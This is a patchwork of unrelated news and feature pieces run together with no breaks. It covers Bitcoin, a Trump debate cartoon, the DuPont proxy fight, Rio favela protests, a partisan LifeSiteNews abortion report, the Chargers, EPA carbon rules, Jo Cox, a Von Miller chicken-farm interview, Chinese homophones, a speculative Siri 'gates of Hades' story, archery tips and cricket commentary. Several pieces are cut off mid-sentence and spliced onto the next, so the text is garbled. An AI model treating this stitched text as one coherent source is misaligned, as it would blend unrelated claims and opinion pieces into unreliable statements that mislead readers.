Bitcoins are, in an abstract sense, perfect money. They're anonymous. They're immune to transaction fees and national borders. The supply is controlled and predictable: the number of bitcoins increases in regular increments, governed by a simple algorithm, slowing and finally stopping at 21 million in the year 2140.
There are downsides. The privacy of Bitcoin lends itself to criminal transactions like online drug sales, and as bitcoins have gained value, they've attracted hackers bent on stealing them. In October the European Central Bank expressed "serious concerns regarding the legal status and security of the system, as well as the finality and irrevocability of the transactions."
But you can already use bitcoins to buy just about any imaginable good or service, from paragliding flights in Switzerland to banh mi in Brooklyn. Bitcoin start-ups are thick on the ground in Silicon Valley. There's a bitcoin-based hedge fund in Malta. Last month the U.S. Treasury Department took oblique notice of Bitcoin by publishing guidance on what aspects of virtual currencies it did and did not aspire to regulate. There's an intriguing but unverifiable rumor that the current spike in value was driven by the financial crisis in Cyprus, which caused Spanish users to buy bitcoins as an alternative to the euro.
In the blogosphere, Bitcoin has been called a bubble, a Ponzi scheme, the future of money and the harbinger of an untaxable economy that will bring about the end of the nation-state. Right now it's the spike in value and the resulting fortunes that are getting attention, but as Paul Krugman noted in his New York Times blog, that's not necessarily a sign of a healthy, robust currency: "What we want from a monetary system isn't to make people holding money rich; we want it to facilitate transactions and make the economy as a whole rich."
But at the very least, Bitcoin is a kind of powerful collective conceptual theater, an act of fiscal performance art, reminding us how much trust banks and governments demand of us just so we can use money that we already possess. Whether or not it transforms the financial system, Bitcoin has already become its conscience.x Vimeo Video
Well, the first presidential debate didn’t go exactly as Donald Trump planned, even though he (and plenty of “voters” from Russia) claimed otherwise. No matter what you think about Hillary Clinton’s policies, she played Trump perfectly at the Hofstra University debate.
Donald Trump’s achilles heel is the fact that he refuses to ever admit he was wrong about anything. And he doesn’t just change the subject or evade the question the way most politicians do, he doubles and triples-down, insisting he was right about everything from calling Rosie O’Donnell a “fat pig,” to humiliating a young Miss Universe.
The days after the first debate have been even more interesting than the debate itself (which was fascinating), mainly because The Donald continues his “triumphant” rampage. He even says he’s picking up more of the female vote because of the nasty things he didn’t say at the debate. Enjoy the cartoon, then go take a shower, then visit me on Patreon and join me behind-the-scenes.Shares of DuPont leapt on Monday after an influential shareholder advisory firm backed efforts by the activist investor Nelson Peltz to win seats on the industrial conglomerate’s board.
DuPont’s stock was up more than 4.5 percent by midafternoon, to $74.79, after Institutional Shareholder Services recommended that investors elect two of his four nominees, including Mr. Peltz, instead of two of the company’s directors.
The backing of I.S.S., the biggest proxy advisory firm, is a big win for Mr. Peltz and his Trian Fund Management as they engage in a bitter fight over the board of the company. The battle is one of the biggest this year between an activist shareholder and a stalwart of corporate America, as hedge funds and other investors seek to shake up companies.
On one side is DuPont, the chemical maker that traces its history back 213 years to a gunpowder manufacturing operation. On the other is Mr. Peltz, who has previously pressed for change at the likes of H.J. Heinz and PepsiCo.Cult comedy series “Arrested Development” will return for another 17 episodes -- so says producer Brian Grazer in an interview with Grantland‘s Bill Simmons.
(The discussion about “Arrested Development” comes along at 24:20 in the interview.)
“People are loyal to it, and we’re going to do another 17 episodes. So stay tuned for ‘Arrested Development’,” Grazer said in the interview.
The show chronicles the trials and tribulations of the Bluth family. While running on FOX for three seasons, it was critically acclaimed but never managed to find an audience large enough to pull in good ratings. FOX canceled the show in 2006 and it subsequently gained a fervent fan base and was brought back on Netflix NFLX, +0.29% in 2013 for a fourth season consisting of 15 episodes.
Netflix has yet to confirm or deny that a fifth season is in the works.The head of Poland's National Electoral Commission Wojciech Hermeliński has confirmed that the results of Sunday's three-part referendum are invalid as only 7.8 percent of voters took part, way below the 50 percent threshold.
The results were declared on Monday afternoon, with the final outcome in line with partial results revealed in the morning (7.48 frequency).
Of the over 30 million eligible voters, 2, 384 961 took part, although 181 slips were invalid.
Sunday's referendum, which was set in motion by former president Bronisław Komorowski at the tail-end of his tenure, took in three questions.
Poles were asked whether they approved of introducing single-member constituencies for Sejm (lower house of parliament) elections (78.78 percent voted yes according to PKW's official results), whether the state should continue to finance political parties (17.37 percent voted yes) and whether a presumption in favour of the taxpayer should be introduced in disputes over tax law (94.51 percent said yes). (nh)Residents of some of Rio de Janeiro's poorest neighborhoods hold a demonstration demanding peace in Copacaban beach on July 2, 2017
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Rio de Janeiro (AFP)
Hundreds of residents from Rio de Janeiro's ultra-violent favelas descended on the posh Copacabana beach area Sunday to plead for an end to lethal shootouts between drug traffickers and police.
Against a backdrop of weekly, even daily shootings of innocent people in military-style police operations, the demonstrators said Rio's rich and powerful should stop looking away.
"Coming here is the only way we can get the attention of the authorities," said Sergio da Silva, 52, a member of the community association for Jacare favela, standing with a crowd of 400 on the avenue outside Rio's iconic Copacabana Palace hotel.
"People have a lot of difficulties. It's hard on the children. There are shootouts and people are shot," he said. "There are a lot of children who are lost to the drug traffickers and to using drugs."
Favelas -- poor, mostly unregulated shanty towns dotted around the iconic Brazilian city -- are home to almost a quarter of Rio's population. Many have become ghettoes where outsiders are afraid to enter and whose residents lack many basic rights and services.
Drug traffickers control swaths of the favelas, which often consist of warrens of alleys and small houses on steep hillsides, with difficult access. Police periodically mount raids, and when firefights ensue, stray bullets from assault rifles tear through densely populated areas.
Many favela residents say they fear the police more than the drug gangs.
- 'They shoot out of fear' -
"They're inexperienced and treat people roughly," da Silva said. "They shoot out of fear, but you can't shoot when there are children around."
Amnesty International and other rights groups accuse officers of frequently using torture and extrajudicial killings, while police advocates point out that the officers themselves face huge peril.
More than 80 police officers have died this year in Rio de Janeiro state, in what sometimes can feel like an undeclared war.
Those growing up in the favelas say they are victimized not just by physical danger but by the lack of decent education and basic services, such as sewage treatment.
"Teachers don't want to work there because there is shooting all the time," said recent graduate Matheus Concesao, 20, from Cidade de Deus.
"In my school, I have only one teacher," said Agatha Rodrigues, 19, also from Cidade de Deus, which was made famous by the 2002 movie "City of God."
The head of the Alemao favelas association, Marcos Valerio Alves, 49, said he hoped the unusual appearance of hundreds of favela dwellers in Copacabana would wake people up.
- A different kind of violence -
"You have to think of violence in its wider sense," he said. "A lack of kindergartens is a kind of aggression, a lack of sewage treatment is a form of aggression. So is not having work or education or pastimes."
"Political parties should look at us through different eyes."
As with many of Brazil's woes, part of the blame for the mayhem in favelas lies with corruption.
Unchecked embezzlement ahead of Brazil's hosting of the 2014 football World Cup and the 2016 Rio Olympics bled the state's coffers dry. In June, former governor Sergio Cabral, who led Rio from 2007 to 2014, was sentenced to 14 years in jail for taking bribes and laundering money.
Today, police sometimes lack funds for even daily necessities such as toilet paper and car fuel, while once-ambitious social projects aimed at giving favelas the same level of attention as the rest of the city have largely been axed.
Corruption has also eaten deep into the police ranks, handicapping efforts to bring down traffickers. Just last Thursday, arrest warrants were issued for nearly 100 officers accused of taking bribes from drug dealers, providing protection to them or even renting out weapons.
© 2017 AFPNewsAbortion
KETTERING, Ohio, August 5, 2016 (LifeSiteNews) — The abortion business run by an infamous late-term abortionist and inventor of the Partial Birth Abortion infanticide procedure has allegedly performed an abortion without consent on a woman obviously high on heroin.
The woman arrived at Martin Haskell's Women's Med Center in suburban Dayton the morning of June 11, 2015, with the help of a friend. According to an investigative report issued by the Ohio Department of Health (ODOH), the woman literally could not walk on her own or hold her head up.
The ODOH report notes that the woman’s speech was slow and slurred, and she was unable to keep her eyes open. She was placed in a wheelchair. When she did open her eyes, her eyes twitched and she was unable to carry on a conversation.
The woman's “friend” reported to Haskell's staff that she had taken “two Soma and several Percocet, and probably both Suboxone, and perhaps some heroin, on her way in.”
The abortionist was aware of the woman's “somnolent state,” yet did not ask her consent to abort her child. Only after the abortion (and its payment) did the abortionist treat the woman's overdose and transfer her to a hospital for, according to the ODOH report, “evaluation, monitoring and detoxification from the suspected drug overdose.”
The abortionist's official diagnosis, according to the ODOH report, was “suspected recreational drug overdose.”
Haskell’s entire staff was aware that the woman was under the influence of drugs, as evidenced in the ODOH report that noted they “aministered Narcan, a drug used to counter opioid overdose, but only after the physician performed the abortion.”
The ODOH report also stated that staff “confirmed in an interview” that the woman “had signs of recreational drug use.”
The ODOH investigation led to citing the abortion business for violating Ohio law, specifically “failure to ensure a patient was allowed to refuse or withdraw consent for treatment when her physical and cognitive condition precluded her from participating in her treatment.”
However, the ODOH report does not indicate whether the licensed physician who performed that abortion was sanctioned for breaking the law.
Dayton Right to Life has filed a formal complaint with the State of Ohio Medical Board against the three abortionists at Haskell's clinic.
“It is clear that the licensed physician(s) violated the law,” the complaint, signed by Dayton Right to Life Executive Director Paul Coudron, states. “The licensed physician(s) knew that the patient was under the influence of drugs and was semi-conscious. The patient was never given the opportunity to withdraw consent for the procedure, and could not have given legal consent given her state of mind at the time of the procedure.”
“Further, the licensed physician(s) did not administer medicine to stop the effect of the drug overdose until after she had completed the abortion,” Coudron continued. “This was a clear act of negligence that risked the life of the patient.”
Coudron pointed out that the abortionist risked the woman's life by delaying care for her obvious overdose. “The licensed physician(s) acknowledged the risk to the patient by having staff call EMS for transport to the hospital due to overdose. However, she also made sure to perform the abortion before having the patient transported for treatment and while the patient was physically and cognitively incoherent.”
The complaint concludes by urging the State Medical Board to investigate further. “The licensed physician(s) violated Ohio law and forced abortion on this patient, denying the patient a choice and potentially jeopardizing her health.”
“This facility clearly violated the very choice the abortion industry claims to stand for,” Coudron said in a press release.
State Medical Board spokeswoman Tessie Pollock confirmed to the Dayton Daily News that informed consent is essential to a physician’s standard of care.
Dayton pro-life leaders say the ODOH report offers more questions than answers. “We have so many questions regarding this incident,” Dayton Right to Life's Margie Christie told LifeSiteNews. “Who was the friend? Did the coercion begin before this woman even arrived at the clinic? And why does this clinic have Narcan? Has this happened before?”
“The complete disregard for this women's care and well-being is honestly heartbreaking,” the assistant executive director of advocacy and programs for the Dayton pro-life organization concluded. “But, unfortunately, this woman's health and the death of her unborn child are the 'costs' of abortion in today's society.”
The state’s Right to Life Society said the woman needed “real care, not an abortion.”
“Lack of cognition, slurred speech, indication that she had taken heroin — any one of these should have been more than enough to signal to the staff that the woman needed real care, not an abortion,” Ohio Right to Life Executive Director Devin Scribner said.
“This tragic story is an eye-opening look into the abortion industry... Ohio's abortion lobby forfeits whatever tinge of credibility it has if it refuses to condemn what happened at Women's Med Center.”
Haskell's clinic has a laundry list of citations dating to the 1990's. “They have operated without a license for years, and so these types of horrible incidents will only continue,” Christie predicted.
To rescind a physician's medical license for failure to receive informed consent is not without precedent. Ohio's State Medical Board did just that in 1988 against Dr. James C. Burt. Known as the “Love Doctor,” Burt lost his license for performing experimental surgery on women’s genitals, sometimes without their consent.
Haskell's facility terminates more than 35 babies a week, with the help of publicly funded Wright State University physicians. Despite being employed by the university, which as a state institution is strictly forbidden from any involvement in the abortion industry, physicians contracted with Haskell to provide “emergency backup services” at Miami Valley Hospital.
Maxlifer.com summarized, “The doctors are pursuing their own private pro-abortion agenda... at the expense of taxpayers.”Scolling down past a grainy video of your niece’s dance recital, your old roommate’s engagement photos and your uncle’s political manifesto, you might’ve noticed an advertised declaration of battle from this city’s newest pro sports team.
The Chargers are trying to let the people of Los Angeles know they’re up for a challenge, and even your Facebook page isn’t safe.
They’re here to “Fight for L.A.” — a motto they’ve chosen to be the guiding principle in their move into the market.
But that fight? It’s not directed at the Rams, per se. Nor is it directed at the Lakers, the Dodgers, the Kings, Hollywood, the Pacific Ocean, the trendy restaurants, the hipster bars or the hottest nightclubs.
No, it’s a fight to prove to the people of Los Angeles that the Chargers really belong here — that they deserve a slice of attention in a town that’s already stretching people’s eyes in so many directions.
“I don't expect anything to be handed to us,” Chargers President and CEO Dean Spanos told The Times in an interview Thursday last week. “We didn't expect a red carpet welcome. We're one of a bunch of teams here, and we've got to prove ourselves. And we're going to fight for every fan and every game and go from there.”
To be clear, if the carpet that welcomed the Chargers into town was red, it was that color only from the maiming they took as they moved to Los Angeles. A logo announcing the team's arrival was trashed on social media. And when that logo appeared on the Staples Center scoreboard during a Lakers-Clippers game, the two rival fan bases agreed to boo.
“You just have to own everything in L.A. If something happens, and it doesn’t go right, you can’t ignore it. You can’t run away from it. You have to own it,” said Mark Fabiani, special counsel for the Chargers. “And, we had a bump in the road on the very first day with the logo.”
It was quickly retired, with A.G. Spanos, the team’s president of business operations, issuing a statement to Pro Football Talk that also included the phrase “own it.”
“It’s not necessarily the way you’d operate in another market, maybe, but certainly in L.A., it’s going to be one of our operating principles,” Fabiani said. “If we make mistakes, we’re going to own up to them and plow through them.”
The logo, the scoreboard booing, articles about whether or not the team was doing the right things, articles about whether or not the star quarterback wanted to make the trip up the freeway, none of these things qualify as bad in Los Angeles, Fabiani said.
“You embrace it,” he said. “If people are booing you, at least they’re interested enough to boo you. … If we’re not getting reactions from people, if people aren’t debating us, then we have a problem. … All of that’s good for us.”
For the Chargers, a big part of the “fight” is simply staying in the conversation.
“It'll be fiercely competitive. We knew that coming in,” Dean Spanos said. “With success here there's great upside. We have a lot of consultants, [Fabiani] being one, but I think one of the big things for us is we have to keep being engaged with the media as best we can. We want our players up here. We're going to have a presence up here as best we can until we actually get moved in.
“If I could move tomorrow, I would move tomorrow.”
That move won’t happen until well into the summer, but in the meantime, the Chargers are committed to taking one of Los Angeles’ biggest challenges — visibility — head-on.
Ownership and executives have met with most of the city’s power brokers, ranging from Mayor Eric Garcetti to Lakers President Jeanie Buss to AEG Chief Executive Philip Anschutz to Casey Wasserman.
Spanos, his wife and some Chargers players were expected to attend the Grammy Awards on Sunday night. On Monday, executives will have a luncheon to meet with Orange County’s business and local leaders.
Quarterback Philip Rivers and defensive end Joey Bosa, the NFL’s defensive rookie of the year, have appeared on “Jimmy Kimmel Live.” Pro Bowl cornerback Casey Hayward appeared on two local news programs Friday and served as a special correspondent at the NAACP Image Awards.
“It's hard when your assets aren't here,” Dean Spanos said. “It's hard, but we're going to do the best we can.”
Playing to a limited live audience in Carson at the StubHub Center has also gotten the team attention — something the decision was in part designed to do.
“We’re confident we’re going to sell all of our seats there quite easily,” Fabiani said. “But getting people interested in the personalities is quite a process.”
In this context, the process is the fight the Chargers are waging in Los Angeles, the fight “for” Los Angeles and some of the city’s attention.
“It’s meant internally. It’s not meant that we’re going to prevail over the Rams,” Fabiani said. “…It’s a big enough market that if you do your job and put an exciting product on the field, you’re going to do very well. The Angels have proved that over the years. The Ducks have proved that, the Clippers have proved that, even under Donald Sterling the team was a financial success and even on the court in the later years.
“You’re prevailing, hopefully, in the hearts and minds of the people of L.A. so they at least pay attention to you. That’s what you’re fighting for.”
CAPTION Padres third baseman Manny Machado talks goals, family, fashion and more -- including why the Padres were a right fit for he and his family -- in this first interview after signing a 10-year, $300 million dollar deal with the Padres. Padres third baseman Manny Machado talks goals, family, fashion and more -- including why the Padres were a right fit for he and his family -- in this first interview after signing a 10-year, $300 million dollar deal with the Padres. CAPTION Padres third baseman Manny Machado talks goals, family, fashion and more -- including why the Padres were a right fit for he and his family -- in this first interview after signing a 10-year, $300 million dollar deal with the Padres. Padres third baseman Manny Machado talks goals, family, fashion and more -- including why the Padres were a right fit for he and his family -- in this first interview after signing a 10-year, $300 million dollar deal with the Padres. CAPTION Padres manager Andy Green officially gets to talk about Machado now. He gave his thoughts on what it means for his roster, what stood out about Machado when he had lunch with him and why a family atmosphere was so important to Machado and his wife. Padres manager Andy Green officially gets to talk about Machado now. He gave his thoughts on what it means for his roster, what stood out about Machado when he had lunch with him and why a family atmosphere was so important to Machado and his wife. CAPTION Hear from the newest Padres infielder, third baseman Manny Machado. Hear from the newest Padres infielder, third baseman Manny Machado. CAPTION Padres agree to terms with free agent third baseman Manny Machado. Padres agree to terms with free agent third baseman Manny Machado. CAPTION We asked Padres players how they feel about hearing that superstar third baseman Manny Machado is reportedly joining the Padres. We asked Padres players how they feel about hearing that superstar third baseman Manny Machado is reportedly joining the Padres.
Woike writes for the Los Angeles Times.When Gina McCarthy introduced the Environmental Protection Agency's proposal to crack down on carbon pollution from existing power plants, she hammered at one assertion about the price consumers can expect to pay.
"Critics claim that your energy bills will skyrocket. They're wrong," she said. "Should I say that again? They're wrong."
It's a question at the heart of the debate over the proposed rules, with opponents insisting that the cost of producing electricity will be driven sharply higher as electric companies shift away from cheap, dirty coal. And those costs, they say, will be passed along to consumers.
As it turns out, McCarthy was choosing her words carefully. She didn't say the price of electricity would not rise. She said your monthly bill wouldn't. And that's mainly because she expects people to use less electricity.
The price of electricity—expressed in cents per kilowatt-hour—very well might rise, even significantly in some states, depending on how each state choose to meet the rule's carbon-intensity targets. This is especially true in states that use mostly their abundant supplies of cheap coal to generate power.
But EPA expects energy-efficiency programs—incentives for consumers to cut their use of electricity—to be a big part of the drive to clean up the existing power grid. Instead of making costly investments in new, cleaner power plants to replace dirty old ones, some utilities and state governments might find it cheaper to invest in efficiency, reducing the underlying demand for electricity. That would allow them to close dirty power plants without building replacements.
In that case, consumers of electricity would end up using less of it, so their monthly bills could go down, even if the per-unit price for electricity did go up.
"Because energy efficiency is such a smart, cost-effective strategy, we predict that, in 2030, average electricity bills for American families will be 8 percent cheaper," said Janet McCabe, the acting EPA administrator, at a House hearing on Thursday.
"The price of electricity will go up a little bit but overall bills will come down," she said.
Reid Harvey, director of EPA's clean air markets division made the same point in a presentation at Resources for the Future.
"We looked at the impacts not just on electricity rates but on electricity bills," he said. "We do see rates go up but as demand for electricity is reduced through increased use of energy efficiency, overall bills decline."
Click to enlarge
Electric bills would go up at first—until about 2020, according to one of his slides—but as the efficiency programs take hold and people stop using so much power, they would begin to fall.
The EPA thinks states can achieve savings of about 1.5 percent annually from efficiently using electricity. Its assumptions are not all that ambitious; knowing that many states already have efficiency programs in place, it reckons that laggards will improve their performance to levels around the middle of the pack.An area of Brussels will be named after Jo Cox.
An area of Brussels will be named after late British MP Jo Cox, in a tribute to the mother-of-two who was murdered in a brutal street attack in June.
The 41-year-old has been included on a long list of "illustrious women" drawn up by the Brussels City Council executive to name newly created public places, according to BBC.
The list of 26 women includes Belgian feminist Leonie La Fontaine and the founder of the Egyptian Feminist Union, Huda Sharawiartists, as well as artists, writers, sportswomen and scientists who have links to the city, local media reported.
The move is part of the Belgian capital's initiative to increase female representation in its street names and squares.
Cox was shot and stabbed in the street in what police called a "targeted" daylight attack in her constituency in northern England just before Britain's EU referendum.
Thomas Mair was charged by police with murder, causing grievous bodily harm, and possession of a firearm and another offensive weapon following the attack.
The City of Brussels said it was deeply moved by the "horrendous deed" and wanted to pay tribute to the Labour MP after she had lived and worked in the city for a period during her life, local media reported.
The secretary-general of the European Women's Lobby, an umbrella organisation of women's associations supporting the initiative, said Ms Cox was a "close friend".
"[She was] exactly the kind of person that we want to see in politics," Joanna Maycock said.
"[She was] an extraordinary, brilliant and fearless feminist, motivated by a passion for women's rights and |
in talks to potentially acquire a commercial chicken farm not far from his childhood home, but make no mistake, it's passion, not profit, that powers Miller's poultry game.
Here, presumably, is ESPN's first Q&A with a chicken farmer. And check out the SportsCenter feature above for more.
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ALIPOUR: How did you get into the poultry game?
MILLER: I'm not even gonna lie, man, it started off by taking an easy class in college. [Laughs.] My professor, Dr. [Morgan] Farnell, he wouldn't let it be an easy class -- you know how these electives can be, you just go in there and sleep through it. But he made it a point to make sure I knew my information. And then I learned about it and really enjoyed it. Before you know it, it's my major.
How passionate are you about this?
I'm very passionate, especially when it comes to humanely raised chickens. I take pride in healthy birds. You got all these other big-time commercial farms that raise, you know, 30,000 birds. Me, it's a whole lot smaller operation, but it's a lot of bang for the buck.
When did you acquire your first flock?
I started building this chicken farm my sophomore year in college. As I got a little bit more money, it just got bigger and bigger. I got my first flock like five years ago. And then this current flock right here, it'll be three years in November. It's like family. They're more like pets. We got a lot of natural predators out here, so we got to watch them as well. Hawks took a couple of birds from us, and there are snakes and coyotes. But other than that, they really don't have to worry about much here at Miller Farms.
Wait, let's back up. Where are the snakes at?
We got a little creek.
We're not visiting the creek.
No.
So, let's say I'm a chicken. What kind of life can I expect on Von Miller's farm?
You can expect a long life, a lot of space, great food and you'll get along with your teammates. All our chickens, they get along pretty well. It's just a great environment, like a great organization that you want to play for. For example, they get to go out in the pasture in the afternoon and the morning. I like to bring them out to natural, solid grass, their natural setting in which they're picking up worms rather than the litter and the dirt we have in the coop. That's what it's all about for me. It's not about the commercial aspect of it. Of course, there's money involved, and being able to make a buck off of this is what makes everything go, but that's not at the foundation at Miller Farms. It's about happy, humanely raised chickens.
Should I expect my owner to eat me?
I'm not out here to eat the birds. Now, the eggs, that's a different story. Oh, yeah, I eat eggs all day [laughs]. I think you can taste the difference between a pasteurized egg and a commercial egg.
How many eggs do they produce?
We've got 10 [chickens] laying eggs, so about 20 eggs a day. We take them in the house, wash them off, put them in storage. My mom [Gloria], she has a whole system. She's really the mastermind behind the eggs. So it's really like a family operation for me and my little brother [Vince], my mom and my dad [Von]. It was something that I brought home and they just ran with it.
Are the birds cool with you taking their eggs and eating them?
Oh, yeah, they're cool. I don't even think they know what's going on.
Do the birds have personalities?
Yeah, they definitely have personalities, especially the rooster. The rooster is the man. He's the leader of the pack. He's watching out for everybody. I call him Peyton. We had five of them originally -- he was the toughest one out of the whole flock. It's only one of him, so he's just chillin' around. You know, if it's you with 30 females, you'll be pretty chill, too. But they all got personalities. I thought about creating a little TV show for the birds. You know, you have a celebrity do voice-over for the chickens, like, "Mine, mine, mine, get away!" [Laughs.] But if you just sit and watch them, they all work as a team. They find food. One will alert the other one to come over here. It's pretty dope.
So when did it become an insult to call somebody a chicken?
I think when we were little kids, you know? "Oh, you're a chicken. You're afraid." When you think about chickens, you think about them being cowards and, you know, running away. That's what it looks like. But when you actually look at them, especially the rooster, he's one of the toughest guys in the animal kingdom.
So, what happens if I call you a chicken?
[Laughs.] I'm going to be OK with it.
Hey, Von. You're a chicken.
I mean, I understand it. I'm a chicken. Chickens are dope.
Rocky trained by chasing chickens. Is that Hollywood fiction?
No, it's not Hollywood fiction. I tried it. But, you know, I'd rather chase quarterbacks. Chickens are way more athletic than the most athletic quarterback you could probably go get.
What do your teammates think about all this?
When they first started hearing about me raising chickens, they thought it was a joke, another one of Von's tricks. But once you really get to know me and where I'm from, then you get it. And when you come see my farm and the way I raise my chickens, you get to know me a lot better as well.
I know you're in talks to acquire a commercial chicken farm. What's the next step in your poultry empire.
I want to create a different lane. You've got all these big companies that do it other ways. I want to create a lane where there can be happy, healthy birds -- and that'll be my whole slogan. You'll see the bird with a smile, saying, "Hey, I'm living with Von Miller and we're living great, man!"Sample of Chapter 5. Sound representation by Characters
Homophonic, Polyphonic, or Unpronounced Characters
...
In Chinese it is possible to compose a whole paragraph that consists of a string of homophones, as in the following oft-quoted example.
Shi shi shi shi shi shi, shi shi, shi shi shi shi. Shi shi shi shi shi shi shi shi shi, shi shi shi shi shi, shi shi, shi shi shi shi shi. Shi shi shi shi shi, shi shi shi, shi shi shi shi shi shi. Shi shi shi shi shi shi, shi shi shi. Shi shi shi, shi shi shi shi shi shi. Shi shi shi, shi shi shi shi shi shi shi shi. Shi shi shi shi shi shi shi shi shi shi shi shi shi. Shi shi shi shi.
To quote my Chinese colleague Zhang Zhi, who provided this passage,"When we Chinese hear this passage, we feel like being lost in the clouds."
When spoken, the passage, even with tone variations, is difficult to understand. When written as in Figure 5-1, this passage consisting of nothing but repetitions of shi transforms itself to a passage consisting of many different characters, and thanks to these varied characters the passage becomes decipherable and translatable into English.
Figure 5-1. A passage consisting of homophones of shi
A poet named Shi lived in a stone house and liked to eat lion flesh and he vowed to eat ten of them. He used to go to the market in search of lions and one day chanced to see ten of them there. Shi killed the lions with arrows and picked up their bodies carrying them back to his stone house. His house was dripping with water so he requested that his servants proceed to dry it. Then he began to try to eat the bodies of the ten lions. It was only then he realized that these were in fact ten lions made of stone. Try to explain the riddle.
Here is a conclusion to this chapter on how characters represent sounds. Throughout this book I describe Chinese characters as logographs that represent morphemes, their meanings primarily and directly and their sounds secondarily and indirectly. Although characters can indicate sounds by means of phonetic components, phonetic loans, and Fanqie ('cut and join'), these means are either inadequate or cumbersome, or both. Precisely because characters contain few reliable, simple, and direct clues to their sounds, several true phonetic scripts have been created to indicate the sounds of characters. One such script is Pinyin, the Roman alphabet, in China; another is Zhuyinfuhao or the National/Mandarin Phonetic Symbols, a script that is halfway between an alphabet and a syllabary, now used in Taiwan; two forms of Kana, a syllabary, in Japan; Han'gul, an alphabet used like a syllabary, in Korea. These phonetic scripts will be described in appropriate places.
<-Previous sample | Table of Contents | Next Sample->iPhone's Siri App Predicts the End of the World? 'It's Sunday, 27 July 2014 (Opening Gates of Hades)' Jeannie Law Dec 30, 2013 04:56 PM EST
iPhone application Siri, is predicting the opening of Hells gates on, "July 27th, 2014." Does the smartphone app know something everyone else does not?
For people that have an iPhone, Siri is a very familiar and friendly app. Siri serves as an intelligent personal assistant that navigates the web to answer questions, make recommendations, and performing actions on the iPhone mobile device.
Siri came with the Apple Inc.'s iOS upgrade. It's name stands for speech interpretation and recognition interface.
Oddly enough when a user activates Siri and asks "what day is July 27th 2014" or What day will it be on July 27th 2014?" the returned answer is, "It's Sunday, 27 July 2014 (Opening Gates of Hades)."
This does not only happen in the application in English, it also happens when you ask in Spanish. Siri responding in Spanish "Apertura de las Puertas del Infierno."
Hades was the ancient Greek god of the underworld. Eventually, the name came to describe the residence of the dead. In the Bible Hades is the standard translation for Sheol also defined to many as Hell.
The question many are asking is if Siri is predicting the end of the world, or the next big catastrophe, and questioning why this would even be a context in the app to begin with.
The date could even possibly have some sort of religious explanation. During Ramadan, Muslims fast daily before dawn until sunset, eating by evening prayer.
Gabe Hash TV did some religious investigating and found that the month of Ramadan begins June 28, 2014. It is believed that this is the time when the gates of paradise are open and the gates of Hell are closed until they reopen July 28th 2014. He believes that is the most logical explanation as to why a program is stating the opening of the gates of Hell.
Users of the iPhone app Siri have also found that when asking Siri about Jesus or Christianity, the app always responds by redirecting to a generic site on the web or condescendingly claiming that it does not need religion or claims that it has no belief. In comparison, when asking Siri about the Devil, the application does not give a direct answer. In fact, it leaves the answer open into interpretation on the matter.
It may be senseless to think that function on a mobile device is possible of devising plans of evil or predicting them, but behind every piece of technology is a human that created it, with it's own opinion and possibly promoting an agenda.Everyone you know may be posting about pumpkin spice lattes and colorful leaves, but for archers, October also signals the start of the indoor archery season. Whether you’re new to archery this year, or an indoor gold medalist, here are three tips everyone can use to improve their indoor game:
1. Get your gear on point
If you’re switching from an outdoor setup to an indoor setup, a small investment of time can have a major impact on your bow’s performance (and your sanity).
First, use a note-taking app to make a record of your bow setup as you’ve used it for outdoor season, including bow weight, arrow specs, arrow rest type and where it’s positioned, and your stabilizer/weight configuration. Be sure to take photos as well, so you have a clear record of exactly how your outdoor setup works before you change anything for indoors, so that you can change it back next spring.
If you’re a compound archer, you might find that one type of arrow rest shoots better indoors than out, and you’re likely to need adjustments even if you’re sticking with the same rest but changing arrows for indoor season. If you’re able, keep your outdoor rest intact and simply remove it from the bow, and pop a new arrow rest on for indoor season. For recurve archers, the same goes for the plunger; try to keep separate ones for indoor and outdoor season, because it can be difficult to duplicate plunger settings once they’ve been changed.
There are some archers who won’t change arrows from outdoor season to indoor season, and that’s okay, too. If you’re not making any changes, just be sure that you still keep a good record of your archery equipment so that if something breaks or is lost, you can make an exact replacement quickly.
2. Learn the Game
Indoor archery tournaments can be hosted by target, field and 3-D archery organizations. Depending on where you live, you might be able to choose from a variety of local, state and regional competitions, or your options may be limited by the type of archery that’s popular in your area.
Whatever archery game you decide to play, take the time to learn the rules, from how to shoot your target to scoring. The rules at some National Field Archery Association tournaments, for example, could differ from World Archery’s format. Here are some good questions to research:
What’s the objective of the game?
How many arrows are shot in a round?
What does the target look like?
How many arrows are shot per end?
How are the targets scored?
Is there head-to-head competition (matchplay)?
What are the rules of the game?
What kinds of archery equipment and accessories can I use?
Is there a dress code, and if so, what is it?
Which tournaments can I shoot?
By asking these simple questions, you can set yourself up for success, whether it’s your first indoor archery season or just the first time you’re trying a new round.
3. Set a Goal, and Get Started!
Now that your equipment is ready and you know what kinds of indoor archery rounds you want to shoot, it’s time to set some goals and work toward reaching them.
If this is your first indoor season, or if you’re shooting a new indoor game for the first time, your goal should really just be to learn: learn the round, the rules, how to compete, and develop confidence in an unfamiliar environment. If you’ve shot indoor archery before, your goals might be a bit more involved: perfecting your shot process indoors, setting a new personal best at a tournament, or earning a spot on the podium.
Remember that even though indoor tournaments tend to have fewer arrows required per day than outdoor tournaments, your shots and scores will still only be as good as your commitment to practicing. The target is where you’ll see your efforts pay off (or not). Even though the days are short and temps become cold, practice is still a necessity, even if indoors at very short distances. If you’re planning to shoot tournaments, be sure to learn the format and practice keeping score: this will help develop confidence.
Finally, as you progress through your indoor archery season, be sure to keep good notes. Things you should write down: how your tournaments went, what you liked most about the season, which things affected you positively or negatively during practice, and changes you’d like to try making to your bow. By keeping notes, you’ll be able to see your accomplishments, track your progress and be even more efficient in planning for future indoor archery seasons!
Leave a commentIndia needed three runs off six balls to win. West Indies needed two wickets. The Test ended in a thrilling draw with the teams level on scores, only the second such instance in history
Last over of the match coming up. India need three runs. West Indies need two wickets. The field will be up. [Fidel] Edwards will be asked to bowl full and straight. [Virender] Sehwag still lounges on the massage table. Only fine leg and third man are back.
Carlton Baugh and Darren Sammy celebrate after avoiding defeat off the last ball of the Test © AFP
63.1 FH Edwards to Aaron, no run, 133.7 kph, short of a length, outside off, sharp pace, Aaron is beaten as he looks to dab it.
Ashwin walks up and knocks gloves with Aaron. Sammy has a chat with Edwards. A yorker coming up? Whoa. Edwards doesn't let go of the ball. He sees Ashwin backing up, but has over-run him. So can't even run him out. Perhaps it was just a warning.
63.2 FH Edwards to Aaron, no run, 145.8 kph, length ball, crisply driven, into the ground, bounces overhead for short cover. Fielded very well. Aaron must be nervous now.
63.3 FH Edwards to Aaron, no run, 141.4 kph, heave-ho, heave-ho. No touch on the bat. And Baugh is sensational behind the stumps. Length ball. Aaron swings. The ball swings. Misses the leg stump. Bounces short of Baugh. But he nonchalantly sticks the left hand out. And is ready to throw should they run a bye.
